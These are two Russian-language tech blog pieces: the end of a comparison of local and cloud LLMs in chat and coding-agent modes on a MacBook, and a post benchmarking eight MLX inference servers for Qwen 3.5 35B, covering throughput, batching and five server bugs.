облачная модель	время 1 этапа (мин:сек)	оценка после 1 этапа	время review (мин:сек)	время 2 этапа (мин:сек)	оценка после 2 этапа	время 3 этапа (мин:сек)	оценка после 3 этапа	суммарное время работы (мин:сек)
Qwen 3.6 plus (thinking) cloud chat	2:51	5.0	1:20	1:50	5.0	2:23	10.0	8:24
Qwen 3.6 plus (fast) cloud chat	0:38	2.5	0	1:04	4.0	1:18	10.0	3:00
Qwen 3 coder cloud chat	0:17	2.5	0	0:27	2.0	0:28	2.0	1:12
DeepSeek (thinking) cloud chat	0:52	2.0	0:52	0:52	2.5	1:24	9.0	4:00
ChatGPT 5.3	0:27	2.5	0:27	0:32	2.5	0:34	10.0	2:00

Анализ результатов

скорость работы в режиме чата локальных моделей сравнима со скоростью облачных, однако локальные модели в общем дают худший результат (но не всегда) за то же время
плотные модели Qwen3.5-27B-4bit и Qwen3.5-9B-4bit очень тяжелыми оказались для данного замера, было заметно, как кулеры начинали шуметь и компьютер начинал греться, хотя результаты у них получились лучше, время оказалось намного больше других результатов. На других моделях нагрузка не чувствовалась
режим thinking помогает и локальным и облачным моделям генерировать лучший результат
на втором этапе высокие оценки получили только 2 модели Qwen3.5-27B-4bit и Gemma-4-26B-A4B
Gemma-4-26B-A4B очень хорошо выглядит на фоне других по качеству и скорости
облачным моделям тоже нужно время на ответ, и иногда оно дольше, чем у локальных моделей, особенно в режиме thinking
чем больше битность, тем дольше отвечает модель, особого прироста в качестве не было замечено
GGUF и MLX: разница в скорости на Mac ожидаема, но оказалась не такой огромной

Далее посмотрим, как те же модели справляются в агентском режиме.

Замеры в режиме агента

Проведем этот же эксперимент, но уже с агентами, а не в чате. Все агенты были из коробки, без дополнительных настроек скиллов, саб-агентов и др. В данном эксперименте замеры уже оказались дольше. И получившиеся результаты ниже:

агент	локальная модель	время 1 этапа (мин:сек)	оценка после 1 этапа	время review (мин:сек)	время 2 этапа (мин:сек)	оценка после 2 этапа	время 3 этапа (мин:сек)	оценка после 3 этапа	суммарное время работы (мин:сек)
Kilo Code	Qwen3.5-27B-4bit	1:04:16	3.5	-	-	-	-	-	-
Kilo Code	nvidia-nemotron-3-nano-30b-a3b	10:16	1.0	-	-	-	-	-	-
Kilo Code	qwen3-coder-30b-a3b-instruct-mlx@4bit	2:53	2.0	1:40	3:10	2.5	7:22	6	15:05
Kilo Code	qwen3-coder-30b-a3b-instruct-mlx@5bit	3:47	2.5	2:36	5:23	3	9:34	7.5	21:20
Kilo Code	qwen3.5-35b-a3b-4bit	5:49	3.5	4:17	13:44	3.5	33:13	9.0	57:03
Aider	qwen3-coder-30b-a3b-instruct-mlx@4bit	0:28	2.0	0	0:46	2	1:36	9.5	2:50
Open Code	qwen3-coder-30b-a3b-instruct-mlx@4bit	2:32	2.0	0:42	0:33	2.5	3:46	9	7:33
Kilo Code	gemma-4-26b-a4b	4:53	3.5	3:12	5:39	4.5	4:54	9	18:38
Claude Code	gemma-4-26b-a4b	1:14+2:01	3.0	3:30	4:36	6.0	9:53	10	21:14

Пояснения:

Qwen3.5-27B-4bit и nvidia-nemotron-3-nano-30b-a3b после первого этапа нет изменений. Эксперимент с этими моделями был остановлен из-за слишком долгого выполнения первого этапа
Claude Code два времени в 1 этапе, так как сначала делалась команда /init , а потом уже выполнялась сама задача
хотелось сделать замер qwen3-coder-30b-a3b-instruct-mlx@4bit и Claude Code, но на этапе ревью модель постоянно крашилась с ошибкой: Anthropic streaming error: The model has crashed without additional information. (Exit code: null). Возможная причина — нехватка памяти для контекста.
при замерах MacBook заметно грелся и кулеры гудели, работать было не особо комфортно, температура под нагрузкой держалась около 100 градусов на GPU

Скрин с температурой

И как и в прошлом эксперименте с чатом, попробуем сделать эксперимент с агентом и облачной моделью

агент	облачная модель	стоимость	время 1 этапа (мин:сек)	оценка после 1 этапа	время review (мин:сек)	время 2 этапа (мин:сек)	оценка после 2 этапа	время 3 этапа (мин:сек)	оценка после 3 этапа	суммарное время работы (мин:сек)
Qwen Code CLI	Qwen3.6 Plus	0	3:05	5.0	4:32	2:45	4.5	3:03	8.5	13:25
Qwen Code plugin	Qwen3.6 Plus?	0	1:56	4.5	4:31	0:32	5.0	3:39	7	10:38
Kilo Code	Qwen3.5 Plus	$0,31	2:03	4.0	0:22	0:39	4.0	3:49	9	6:53
Kilo Code	Claude Opus 4.6	$3.35	2:22	5.5	0:50	3:47	8	5:16	10	12:15

Пояснения

модель для Qwen Code указана как Qwen3.6 Plus, но достоверного подтверждения этому нет, информация взята из самого агента

Анализ результатов

секунды и минуты в режиме чата стали минутами и десятками минут в режиме агента, заметно, что режим агента со множеством вызовов и большим контекстом тяжелее дается локальным моделям
во всех замерах с локальными моделями, разве что за исключением Aider, MacBook заметно нагревался и было ощущение, что Mac пытается взлететь. Кулеры практически не останавливаясь шумели.
Gemma-4 единственная из моделей показала хорошие результаты на 2 этапе
облачные модели здесь смотрятся заметно лучше по качеству, скорости и комфорту
при работе агентов нужно много памяти не только на модель, но и на контекст, иногда файл подкачки раздувался до 20 ГБ
чем проще агент, например Aider, тем быстрее он работает, но тем больше нужно с ним взаимодействовать
Open Code работает заметно быстрее, поскольку генерирует меньше контекста
Claude Code и Kilo Code генерируют больше контекста из-за чего модели тяжелее и она дольше работает
агенты — это не только про написание кода, в половине замеров агенты предлагали скомпилировать java код, а также его запустить. Думаю тут зависит не только от агента, но и от модели. На модели qwen3-coder-30b-a3b-instruct-mlx@4bit редко были предложения скомпилировать, на остальных почти всегда.
для локальных моделей лучше подходят более простые агенты Open Code и Aider, для Kilo Code и Claude Code кажется нужно заметно больше ресурсов.

Итоги и рекомендации

Общие выводы

С одной стороны, полученные выводы довольно очевидны, с другой — интересны.

Если отвечать на вопрос, можно ли сегодня на компьютере уровня MacBook M4 работать с локальными моделями, однозначного ответа нет. Точнее, он есть, но с уточнениями.

В режиме чата сегодня вполне можно работать с локальными ИИ и получать довольно приемлемые результаты за приемлемую скорость, при этом данные остаются у вас. Стоит выбирать модели с MoE-архитектурой — они хороши по скорости и приемлемы по качеству.

В режиме агентов я бы скорее ответил, что для постоянной работы это не подходит, но для разовых задач — неплохо. Это связано с большой нагрузкой на систему и память. Обычно на рабочей станции кроме модели крутится ещё много всего: IDE, Docker, десяток вкладок в браузере, и ресурсов явно будет не хватать. Также постоянный нагрев и работа кулеров не добавляет комфорта.

Для себя ещё отметил разницу в скорости работы агентов. И что ревью кода разумно делать другой моделью, чем той, которая его писала — так результат получается лучше.

Также есть вера в светлое будущее, так как локальные модели и их работа оптимизируются, появляются такие решения, как TurboQuant, и новые модели.

Как я запускал Qwen 3.5 на Mac: бенчмарк 8 локальных LLM-серверов. Кто быстрее?

kitbit — Fri, 17 Apr 2026 21:35:39 +0000

Дано: MacBook Pro 16" M2 Max, 64GB unified memory, задача - гонять Qwen 3.5 35B moe локально как inference-сервер. Серверов для MLX - штук восемь, и каждый в README обещает «blazing fast». Я взял все, написал автоматический бенчмарк на восьми реальных задачах, прогнал пять итераций - и получил результаты, которые меня удивили.

гит моего бенча: https://github.com/yaruslove/qwen3.5-bench-8-mlx-server-mac

Сразу сниму главный вопрос - «а почему не llama.cpp?» llama.cpp отличный и универсальный, но на Apple Silicon MLX стабильно быстрее на 10-30%, умеет настоящий continuous batching из коробки и хранит модели в нативном формате под unified memory - без промежуточной конвертации GGUF. Статья именно про MLX-экосистему: там внезапно оказалось восемь серверов, и между ними реальная разница, которая тянет на отдельный разбор. Сравнение с llama.cpp - тема отдельной статьи, и я её не избегаю, просто не смешиваю.

Зачем мне локальная 35B - три причины:

Privacy. В работу прилетают договоры, ТЗ, переписки с клиентами - это нельзя просто скормить в ChatGPT или Claude. Локальная модель обрабатывает всё без утечек: снимает ФИО, счета, контакты и возвращает чистый текст.
Coding-агенты и open-code. Claude и GPT по подписке хороши, пока агент не гоняет задачи в цикле по восемь часов - тогда токены превращаются в кофейные зёрна. Все современные open-source тулы для AI-кодинга - OpenCode, Aider, Claude Code - умеют подключаться к любому OpenAI-совместимому endpoint. Ставишь base_url: http://mac.local:8000/v1 и свой API-ключ - агент крутится на уже оплаченном железе, без телеметрии и rate-limit’ов. На работе я разрабатываю агентные системы, и мне постоянно нужно гонять свежие компактные LLM: с февраля ежедневным инструментом был GLM 4.7 Flash на 4090, теперь примеряю Qwen 3.5 35B на Mac.
Нет сетевого RTT. 35B в 4-бит на M2 Max отвечает живее многих облачных API с очередью - просто потому что нет раунд-трипа через интернет. И запускать серьёзную модель на машине без отдельной видеокарты - это до сих пор ощущается как магия.

Если коротко: три фреймворка идут ноздря в ноздрю на single-user, но стоит пустить два параллельных запроса - и четверо из шести откатываются в очередь, один выходит в 2.17× speedup, а ещё один вообще деградирует в 0.85×, пока не дашь ему --workers 2. По ходу всплыли квадратичный attention в 2026 году, фантомные 14000 tokens/sec из-за одной строчки в SSE-парсере и зомби-процесс на 20GB RAM, которого нет ни в одном README.

Три фреймворка в пределах 2% - но это только single user

Это single-user. С батчингом картина переворачивается - но до неё доберёмся через пятнадцать минут чтения.

Зачем вообще всё это

Хотелось простого. Mac - как локальный LLM-сервер. Сверху LiteLLM-гейтвей, дальше VPS с белым IP - чтобы дёргать Qwen по API как Open-AI compatiable из интернета, несколько ключей на несколько устройств. Требования короткие: OpenAI-совместимый endpoint (/v1/chat/completions), нормальный батчинг под нескольких пользователей, стабильность.

Первое, что попробовал - mlx-vlm. Это библиотека для vision-моделей, но в ней есть серверный режим. Запустил, получил 15–25 tps, половина запросов падает, LiteLLM коннектит, но под нагрузкой сервер просто отваливается. Ясно стало одно: это не готовый сервер. Нужен другой.

Альтернатива mlx-vlm - MLX-экосистема целиком. Про выбор MLX вместо llama.cpp я уже сказал в начале, не повторяюсь; добавлю только живой источник - нашёл Reddit тред на r/LocalLLaMA, где народ меряет 2× разницу на Qwen 3.5 35B. Важнее другое: MLX-серверов оказалось много. Половину я узнал, только когда начал копать.

Я решил не гадать по README, а просто проверить все на одинаковых данных. Написал харнесс на Python, который запускает сервер как subprocess, ждёт healthcheck на /v1/models, прогоняет восемь промтов в single-режиме, потом те же пары в двойном режиме через asyncio-барьер, собирает CSV и убивает процесс. Следующий фреймворк. И так шесть раз подряд, пять итераций.

Короткая шпаргалка почему на новых мак можно инференсить: что такое MLX, если вы с NVIDIA

Если фоном у вас CUDA и PyTorch - вот быстрые соответствия для мира Apple Silicon:

Metal - это Apple-ский CUDA. GPU-API чипа M-series, на нём идут все matmul и attention. Аналог CUDA Toolkit.
MLX - это Apple-ский PyTorch + CUDA runtime в одном лице. Фреймворк Apple для ML, который компилируется напрямую в Metal. Вокруг него экосистема: mlx-lm для LLM (аналог HuggingFace Transformers), mlx.fast - оптимизированные операции, включая flash attention (аналог cuDNN).
Unified memory - ключевое отличие от NVIDIA. На RTX у вас 24GB VRAM и 64GB RAM отдельно, копирование весов из RAM в VRAM - привычная боль через cudaMemcpy. На M-series CPU и GPU делят один пул памяти. 35B-модель в 20GB лежит один раз и одинаково доступна обоим - никаких копий.

Почему GPU вообще быстрее CPU на LLM? Генерация одного токена - это прогон входного вектора через десятки слоёв матричных умножений. У CPU десятки больших ядер с кешем, у GPU - тысячи простых ядер, которые жрут одну и ту же операцию параллельно. Одно скалярное умножение CPU сделает быстрее; батч из миллионов - GPU бьёт CPU в десятки раз. M2 Max даёт ~400 GB/s memory bandwidth - этого хватает на реалтайм-декод 35B модели со скоростью 50-80 токенов в секунду. На CPU той же модели вы бы ждали ответа в 10-20 раз дольше.

Практический нюанс: Metal не шарит GPU-контекст между процессами. Поэтому все шесть фреймворков в бенчмарке я запускал строго по одному - два одновременно просто не сосуществуют на одной железке.

Ниже - что из этого вышло.

Что сравниваем: восемь фреймворков

Вот полный список. Шесть попали в бенчмарк, два отключены - причины ниже.

Фреймворк	Язык	Главная фича	В бенчмарке
mlx-openai-server	Python 3.11	Queue-batcher, image gen (Flux), multi-model	+
mlx-omni-server	Python 3.11+	Dual API - OpenAI + Anthropic на одном сервере	+
Rapid-MLX	Python 3.10+	Простота, 1900+ тестов, интеграции (Cursor, Aider)	+
vllm-mlx	Python 3.10+	vLLM-style, paged KV cache, multimodal	+
omlx	Python	Tiered KV cache (RAM + SSD), admin dashboard	-
mlx-vlm	Python 3.10+	Fine-tuning VLM, 40+ архитектур	+
higgs	Rust	Single binary, без Python	- отключён
mlx-serve	Zig	Native, agent mode, без Python	- отключён

Сначала визуальный ландшафт - чтобы видеть, кто что умеет без вчитывания в README:

Ландшафт: 8 фреймворков × 6 фич

Теперь по каждому коротко.

mlx-openai-server - drop-in замена OpenAI API. Из интересного: очередь запросов с настоящим continuous batching (сразу спойлер - единственный, кто реально параллелит), speculative decoding для ускорения, multi-model через YAML, structured output через outlines. Минус - жёстко требует Python 3.11 и тащит torchvision + ffmpeg в зависимостях.

mlx-omni-server - единственный с двойным API: /v1/* в стиле OpenAI и /anthropic/v1/* для Claude-совместимых клиентов. Плюс TTS/STT и эмбеддинги. Нюанс с батчингом - ниже целая история.

Rapid-MLX - философия «запусти одной командой»: rapid-mlx serve <model>. 1900+ тестов в репе, интеграции с Cursor, Claude Code, Aider, Open WebUI, LibreChat. Минус - не стримит чанки токен-за-токеном, отдаёт весь ответ одним куском. Из-за этого gen_tps харнесс не мерит (показывает 0), а TTFT у него равен полному времени ответа.

vllm-mlx - vLLM-style inference, адаптированный под Apple Silicon. Paged KV cache с prefix sharing, мультимодальность (text + image + video + audio), Anthropic Messages API. Большой минус - тащит torch на 2.5GB и содержит феерический баг в SSE streaming, из-за которого показывает фантомные 14000 tokens/sec. Про это отдельно.

omlx - интересный подход: tiered KV cache, где горячая часть в RAM, холодная - на SSD в safetensors. Multi-model с LRU-выталкиванием, веб-дашборд, tool calling + MCP. Requires macOS 15 (Sequoia). Критичная проблема - hardcoded ctx window 32768 токенов. Большие промты получают HTTP 400.

mlx-vlm - изначально библиотека для Vision Language Models (включая fine-tuning), а не сервер. Поддерживает 40+ архитектур. Серверный режим есть, но относительно медленный, и на очень длинных промтах (30k+ токенов) уходит в pathological prefill slowdown - я видел 31 минуту на prefill 52k токенов, причём скорость циклически скачет 790 → 3.5 → 790 → 3.5 tok/s, как будто GC срабатывает каждые пару секунд.

higgs (Rust) - отключён. Протестровал но не до конца. Единственный Rust-сервер: single binary, zero Python runtime, TUI-дашборд, structured output на json_schema с 100% compliance. В заявленных цифрах - 755 tok/s на 8 concurrent. Причина отключения обидная: в registry есть qwen3, qwen3_moe и qwen3_next - но нет qwen3_5_moe. Нашу модель просто не загрузит. Когда появится поддержка - вернём в бой.

mlx-serve (Zig) - отключён. Нативный Zig, zero Python, MLX Core macOS-приложение с agent mode и восемью встроенными инструментами. Причина отключения - отдельный праздник, в разделе про аномалии подробно.

Как я мерил: бенчмарк-харнесс на Python

Модель одна на всех - mlx-community/Qwen3.5-35B-A3B-4bit. MoE с 3B активных параметров из 35B, 4-bit квантизация, в RAM занимает ~20GB. Выбор не случайный: помещается в 64GB с запасом под KV cache, нативный MLX-формат, поддерживается всеми шестью фреймворками.

Железо - Apple Mac M-series, 64GB unified memory. Все фреймворки делят одну GPU (Metal), запускаются строго по очереди: один за раз.

Харнесс называется app_inference, это ~700 строк Python на httpx, pyyaml, rich, psutil. Архитектура линейная:

YAML config → Runner → Launcher → Healthcheck → Scenarios → Metrics → Summary → Analyze

Launcher запускает subprocess фреймворка, перенаправляет stdout в server.log, ждёт /v1/models (healthcheck каждые 2 секунды, таймаут 600с), потом гасит SIGTERM → 15с → SIGKILL.

Client делает POST /v1/chat/completions с stream: true, парсит SSE и фиксирует три момента: когда отправил запрос (t_start), когда пришёл первый токен (t_first - отсюда TTFT), когда закончилась генерация (t_end).

Scenarios прогоняют два режима. run_single - последовательно, 8 промтов один за другим. run_double_batch - два промта одновременно через asyncio-лоадер:

gate = asyncio.Event()
task_a = create_task(chat_stream(..., start_gate=gate))
task_b = create_task(chat_stream(..., start_gate=gate))
await asyncio.sleep(0.05)   # оба дошли до барьера
gate.set()                   # отпускаем одновременно
res_a, res_b = await gather(task_a, task_b)

Кроме wall-clock метрик, в CSV летят request_start_offset (насколько рассинхронизировались старты) и overlap_ratio (доля времени, когда оба запроса были активны). Речь о настоящем параллелизме, а не о том, что оба запроса прогнались, но не одновременно.

Что считаем и насколько надёжно:

Метрика	Что измеряет	Надёжность
`wall_tps_p50`	Медиана токенов/с по wall-clock	Самая надёжная, всегда корректна
`gen_tps_p50`	Decode speed (токены / (t_end − t_first))	Мусор если сервер не стримит токен-за-токеном
`ttft_p50`	Time to first token	Корректно только при нормальном стриминге
`speedup`	Batching-эффективность	Надёжна - считается из wall_tps

Почему везде медиана, а не среднее? Восемь промтов от 100 до 53000 токенов - это экстремальный разброс. Среднее даст перевес длинным: один 40k-промт с 110 секундами total-time утопит восемь коротких в статистике. Медиана показывает типичный запрос.

И ещё - пять итераций, не одна. Iter01 был baseline. Iter02 добавил max_tokens=2048 вместо 1024 и явный model_alias для mlx-omni (история с подменой модели - ниже). Iter03 и iter04 - повторы iter02 для проверки воспроизводимости. Iter05 - добавлен флаг --workers 2 к mlx-omni для фикса регрессии на батчинге.

Запуск - три строки:

cd app_inference
uv run -m app_inference run --config config/iteration_05.yaml

Результаты пишутся в data_test/results/NNN_iterXX_YYYYMMDD_HHMMSS/ - полный CSV, логи серверов, ответы моделей в .md, копия конфига, снимок окружения.

Восемь промтов: от AIME до 52k токенов

Промты специально разные - нужен был диапазон от коротких до болезненно длинных. Вот лестница по токенам:

Лестница нагрузки: от 176 до 52 247 токенов

Задачи тоже разного типа:

#	Промт	Токены	Тип	Что проверяет
1	`100_aime.md`	176	AIME, 1 задача	Точность, Chain-of-Thought
2	`500_gpqa.md`	562	GPQA PhD, 4 MCQ	Научное рассуждение
3	`2000_mmlu-pro.md`	3 449	MMLU-Pro, 34 MCQ	Широта знаний
4	`5000_swe-bench.md`	5 434	SWE-Bench, 48 issues	Code analysis
5	`long_story_15000.md`	1 065	creative	Генерация длинного текста
6	`15000_gpqa.md`	19 315	GPQA extended, 189 MCQ	Lost in the middle
7	`40000_swe-bench.md`	43 649	SWE-Bench extended	Edge-case stress
8	`30000_mmlu-pro.md`	52 247	MMLU-Pro extended, 521 MCQ	Long context, предел

Почти все промты на русском. Намеренно: Qwen 3.5 хорошо говорит по-русски, и это мой реальный use case. Только long_story_15000.md на английском - фэнтези-новелла про картографа Maren Vale в сеттинге Hollow Tides, 10 глав, 10-14k слов - проверяет длинную связную генерацию, а не retrieval.

Для каждого промта я отдельно сгенерировал gold-ответ той же моделью на неограниченном бюджете - чтобы не сравнивать просто «сервер вернул 200 OK», а выборочно сверять осмысленность. Это стало важным позже, при разборе аномалий: длина и наличие ответа - не то же самое, что корректный ответ.

Для double_batch подобрал четыре пары: «короткий + длинный». Например, 500_gpqa (562 tok) в пару с 15000_gpqa (19315 tok). Это проверяет, что происходит, когда один клиент тянет ручку с большим prefill, а второй ждёт свой быстрый ответ.

Single user: кто быстрее на одиночных запросах

Главная таблица - wall_tps_p50 из лучшей итерации каждого фреймворка. Три лидера в пределах 2% - это шум между прогонами, между ними разница статистически незначима:

Single user: кто быстрее генерирует

По лидерам уточнение: mlx-omni-server (64 tps) и mlx-openai-server (63 tps) показывают честный gen_tps около 75 tokens/sec - это реальная decode-скорость на Apple Silicon для 4-битной 35B MoE. Rapid-MLX в этой же группе по wall_tps (62.9), но он не стримит - отдаёт ответ одним куском, поэтому у него TTFT = 36с (это полное время ответа, а не задержка до первого токена). Для терминального чат-клиента это обычно окей, для интерактивного UI - проблема.

Ниже - странная динамика: vllm-mlx (56 tps) и omlx (51 tps) проседают, хотя декодят тем же mlx-lm под капотом. Про vllm-mlx вся история в gen_tps = 14909 - это не decode-скорость, это баг (разбираю в следующем разделе). У omlx - два из восьми промтов упали с HTTP 400 из-за жёстко зашитого ctx window 32k. Остальные шесть он отдаёт нормально, но с медленным prefill.

mlx-vlm (36 tps) - медленнее всех, но стабилен. Это библиотека VLM с серверным режимом, не production-сервер - используется когда нужен 40+ архитектур VLM или fine-tuning, не для продакшн-хостинга.

Как менялось по итерациям

Пять прогонов подряд. Три верхних фреймворка стабильны ±2% между итерациями, что само по себе хороший сигнал воспроизводимости. Исключение - +42% прыжок mlx-omni-server между iter01 и iter02:

Стабильность по итерациям

45 → 63.7 tps. Без рефакторинга, без апдейта библиотек, на тех же промтах, на той же машине. Что произошло - во второй части, где про баги.

TTFT - кто откликается первым

Фреймворк	TTFT p50	TTFT p95	Комментарий
mlx-vlm	7.2 с	90.5 с	Быстрый старт, медленный decode
mlx-omni-server	7.3 с	93.2 с	Быстрый старт + быстрый decode
mlx-openai-server	9.7 с	91.2 с	Чуть дольше старт, есть prompt cache
Rapid-MLX	36.0 с	128.9 с	Нет стриминга → TTFT = total time
omlx	38.7 с	44.9 с	Длинный первый чанк
vllm-mlx	43.3 с	131.9 с	Медленный prefill

Важный нюанс: у Rapid-MLX и omlx TTFT завышен не потому что они медленные, а потому что они не стримят токены по одному - отдают буфером. Для пользователя это значит: запрос «висит» до конца, потом падает ответ целиком. В чате это ощущается как «подвис».

Если latency важна (интерактивный UI, автокомплит), смотреть на mlx-omni-server или mlx-openai-server.

Batch: а что если пустить два запроса одновременно

Вот где всё становится интересно. Идеальный batcher должен выдавать 2× throughput на двух параллельных запросах. Практика - разная:

Batch: кто реально параллелит 2 запроса

mlx-openai-server - 2.17×. Единственный настоящий batcher в экосистеме MLX. Double wall_tps (71.7) выше single wall_tps (62.6) - то есть два клиента одновременно дают больше общего throughput, чем один клиент подряд. Это ключевой маркер continuous batching: несколько sequences делят один forward pass, GPU используется эффективнее. Механизм - внутренняя очередь запросов + on-line merge в decode loop.

Дальше - три фреймворка в зоне 1.6-1.8×, которые я про себя назвал partial batching:

vllm-mlx (1.79×) - скорее всего, срабатывает prefix sharing в paged KV cache (второй запрос видит закэшированный prefill первого) + pipelining (prefill одного параллельно с decode другого)
mlx-vlm (1.72×) - pipelined, без общего forward pass
omlx (1.64×) - partial batching через continuous batcher, но менее эффективно

У всех троих double wall_tps ≈ single wall_tps (или даже ниже). Это значит: два запроса обрабатываются одновременно по времени, но общий throughput не растёт - просто меньше пустых слотов у GPU.

Rapid-MLX (1.13×) - sequential queue. Два запроса просто становятся в очередь: пока первый генерирует, второй ждёт. Формально speedup чуть выше 1.0 из-за того, что второй стартует раньше, чем первый финиширует (прогрев общий), но это не параллелизм.

mlx-omni-server (1.13×) - отдельная история. В iter01-iter04 у него speedup 0.849 - это регрессия, два параллельных запроса выполняются медленнее одного.

	iter01-04	iter05
`--workers`	1 (default)	2
single wall_tps	64.01	63.99
double wall_tps	23.39	29.41
speedup	0.849	1.132

Разгадка простая: FastAPI + uvicorn с --workers 1 сериализует оба запроса в один event loop, GPU переключается между ними без реального параллелизма, но с overhead на переключение. Один флаг --workers 2 - и два воркера делят GPU fair-share. Не batching, а time-sharing, но хотя бы без регрессии.

Вывод простой: если нужно обслуживать нескольких пользователей - выбор один, mlx-openai-server. Остальные будут ставить в очередь или делить GPU пополам.

Пять историй про баги

Это самая интересная часть. В бенчмарке всплыло пять разных классов проблем, о которых нет ни в одном README. Три из них - настоящие ловушки, которые портят метрики, если не знать про них заранее.

Три аномалии из прогона

История 1 - mlx-serve: квадратичный attention в 2026 году

Казалось бы, в 2026 году все LLM-серверы используют flash attention. Flash attention - это алгоритм, который не материализует полную матрицу Q · Kᵀ в памяти, а считает attention кусками с O(N) потреблением памяти вместо O(N²). Он есть в каждой библиотеке - PyTorch, JAX, MLX.

В mlx-serve - нет. Я залез в исходники на Zig: в src/transformer.zig attention-матрица материализуется целиком: heads × seq² × 4 bytes (float32).

Для нашей Qwen 3.5 35B на промте 30000_mmlu-pro.md (52247 токенов):

8 KV-голов, seq = 52247
Attention-матрица на один слой: 8 × 52247² × 4 ≈ 87 GB
KV-cache на все 64 слоя - ещё ~80 GB
Итого: ~170 GB на 64GB машине → гарантированный [METAL] Insufficient Memory

В src/server.zig:420 есть функция checkAttentionMemory(), которая решает квадратное уравнение от доступной RAM и режет контекст. На 64GB Mac она выдаёт потолок 19383 токенов. Это не лимит железа - это следствие наивной реализации attention, которая просто не успела получить flash-оптимизацию.

То есть три наших промта - 15000_gpqa (19838 tok), 40000_swe-bench (44914 tok) и 30000_mmlu-pro (53269 tok) - mlx-serve физически не возьмёт без переписывания transformer.zig. Поэтому он отключён от бенчмарка.

Обход через --ctx-size 65536 не работает: флаг обходит pre-flight check, но реальный attention eval всё равно падает в Metal OOM и убивает процесс.

Урок для читателя: если ваш нативный LLM-сервер написан «с нуля», а не обёртка над mlx-lm - проверьте, использует ли он mlx.fast.scaled_dot_product_attention. Если нет - потолок контекста будет проблемой.

История 2 - vllm-mlx: фантомный tps 14000

В iter01 я смотрю в CSV vllm-mlx и вижу: gen_tps_p50 = 14909. Для 35B модели на consumer Mac это невозможно - реалистичный максимум в районе 80-100 tok/s. Первая мысль: мой парсинг багнут.

Полез в raw SSE-лог сервера. Вот что приходит от vllm-mlx:

data: {"choices":[{"delta":{"role":"assistant"},"index":0}]}
[90 секунд тишины]
data: {"choices":[{"delta":{"content":"...<полный ответ 2048 токенов>..."}}]}
data: [DONE]

Первый чанк - пустой, с ролью assistant. Потом 90 секунд тишины - сервер генерирует за кулисами. Потом весь ответ приходит одним SSE-чанком в самом конце.

Харнесс видит это так:

t_first = момент пустого чанка (почти мгновенно - это просто role assignment)
t_end = момент прихода data-чанка с 2048 токенами
generation_time = t_end − t_first ≈ 0.07 секунды
gen_tps = 2048 / 0.07 ≈ 14900

Метрика математически корректна, а по смыслу - мусор.

Хорошая новость: wall_tps (полное время от отправки запроса до конца ответа) остаётся верным - 1024 / 90 ≈ 50 tps. Это и есть настоящая скорость vllm-mlx.

И TTFT тоже корректен - пустой первый чанк приходит после реального prefill.

Урок: gen_tps нельзя сравнивать между фреймворками без проверки формата streaming. Если сервер отдаёт всё пакетом в конце - вы мерите не decode-скорость, а задержку сети. Всегда проверять сырой SSE-лог хотя бы одного запроса.

История 3 - зомби-процесс на 20GB RAM

Реальный кейс из середины бенчмарка. Запустил iterate на шести фреймворках, пошёл пить кофе. Вернулся - смотрю: omlx идёт уже полчаса на одном промте. Что-то явно залипло. Нажал Ctrl-C.

Основной процесс app_inference умер. Terminal вернул prompt. Иду запускать следующий прогон.

Следующий фреймворк стартует, пытается загрузить модель - [METAL] Insufficient Memory. Странно - память должна быть свободна. Смотрю vm_stat:

Pages free: 512 MB
Pages wired down: 12 GB
Pages active: 18 GB    ← ???

18GB active - это ровно размер нашей 4-bit модели в unified memory. Но процесс app_inference умер. Кто это держит?

ps aux | grep -E "frameworks/(omlx|higgs|vllm-mlx|mlx-serve)"
user 12345  omlx serve --model ...

Subprocess omlx serve продолжал жить. Parent умер, но subprocess перешёл в init (PID 1) и продолжил работать - держал 35B модель в памяти, занимал ~20GB RAM.

Стоп. 64GB − 20GB (зомби) = 44GB свободно. А новая модель + KV cache ≈ 45GB. OOM.

Пришлось сделать явную проверку после каждого прогона:

ps aux | grep -E "frameworks/(omlx|higgs|vllm-mlx|mlx-serve|mlx-openai|mlx-omni|Rapid-MLX)" | grep -v grep
# если что-то нашлось - kill <pid>, дождаться vm_stat

В харнесс добавил post-run cleanup, который убивает любые subprocess, в пути к которым есть frameworks/. Мораль: 35B модель буквально «занимает» треть памяти Mac. Ни один README про это не предупреждает, а на 64GB это критично.

История 4 - omlx: hardcoded ctx window 32768

Это та самая проблема, из-за которой omlx в таблице имеет 6/8 OK вместо 8/8. Два больших промта возвращают HTTP 400:

{
  "error": {
    "message": "Prompt too long: 52247 tokens exceeds max context window of 32768 tokens"
  }
}

Казалось бы - ctx window это конфиг, должен быть CLI-флаг. Смотрю:

omlx serve --help

никаких --ctx-size, --max-ctx, --context-window. Лимит зашит либо в конфиге модели, либо в коде сервера. Без патча обойти нельзя.

Почему остальные берут эти промты? Потому что они основаны на mlx-lm, который читает max_position_embeddings из конфига модели и дальше не проверяет - просто пробует генерировать. Качество на длинных контекстах может деградировать, но технически ответ вы получите. omlx же делает explicit check и отвечает 400.

Если ваш workload включает длинные промты (>32k) - omlx не подходит, пока не добавят флаг.

История 5 - mlx-omni-server: autodetect подменяет модель

Возвращаемся к тому самому прыжку 45 → 63.7 tps между iter01 и iter02. В iter01 харнесс вызывает GET /v1/models для автоопределения model_id. mlx-omni-server возвращает первую модель из кэша ~/.lmstudio/models/. А в кэше у меня оказалась не только Qwen3.5-35B-A3B-4bit, но и Qwen3.5-35B-A3B-**8bit** (оставалась от предыдущих экспериментов).

Харнесс записал в конфиг 8bit и отправлял все запросы на неё. 8-битная версия весит ~40GB вместо 20GB и работает на 42% медленнее на Apple Silicon.

Обнаружил случайно - глянул server.log:

[INFO] Loaded model: mlx-community/Qwen3.5-35B-A3B-8bit

А ожидал ...4bit. Фикс - явный model_alias в конфиге, чтобы autodetect не работал:

mlx-omni-server:
  model_alias: mlx-community/Qwen3.5-35B-A3B-4bit

В iter02 - 45 → 63.7 tps. Метрики прыгнули не из-за оптимизации, а потому что я наконец тестировал правильную модель.

Урок скучный, но важный: всегда проверяйте, какую модель реально загрузил сервер. Autodetect в MLX-серверах часто берёт «первую подходящую» из кэша LM Studio. Если там лежат несколько версий - можете тестировать не то, что думаете.

Выводы: что выбрать

Сворачиваю всё в одну картинку. Пять осей, нормализованные 0…1: скорость одиночных запросов, коэффициент батчинга, отзывчивость (обратный TTFT), стабильность на длинном контексте, честность метрик.

Scorecard: пять осей, один победитель

